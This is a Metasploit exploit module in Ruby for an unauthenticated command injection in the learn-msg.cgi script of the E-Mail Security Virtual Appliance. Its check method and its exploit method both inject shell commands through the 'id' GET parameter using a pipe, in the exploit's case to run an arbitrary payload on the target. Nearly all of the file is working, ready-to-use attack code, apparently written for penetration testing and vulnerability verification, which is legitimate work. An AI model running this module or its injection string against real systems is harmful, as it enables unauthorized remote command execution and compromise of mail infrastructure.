E-Mail Security Virtual Appliance learn-msg.cgi Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
        'Description' => %q{
          This module exploits a command injection vulnerability found in E-Mail Security
          Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
          OS commands without authentication. This module has been successfully tested on the
          ESVA_2057 appliance.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'iJoo', # Vulnerability Discovery and PoC
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-10046' ],
          [ 'OSVDB', '85462'],
          [ 'BID', '55050'],
          [ 'EDB', '20551' ]
        ],
        'Payload' => {
          'BadChars' => "",
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl python',
                        }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['ESVA_2057', {}],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-08-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    clue = Rex::Text::rand_text_alpha(rand(5) + 5)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cgi-bin/learn-msg.cgi",
      'vars_get' => {
        'id' => "|echo #{clue};"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    peer = "#{rhost}:#{rport}"

    print_status("Sending Command injection")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cgi-bin/learn-msg.cgi",
      'vars_get' => {
        'id' => "|#{payload.raw};"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
      print_error("Probably command not executed, aborting!")
      return
    end

    print_good("Command executed successfully")
    print_status("Output: \n#{res.body.split("Learned tokens")[0]}")
  end
end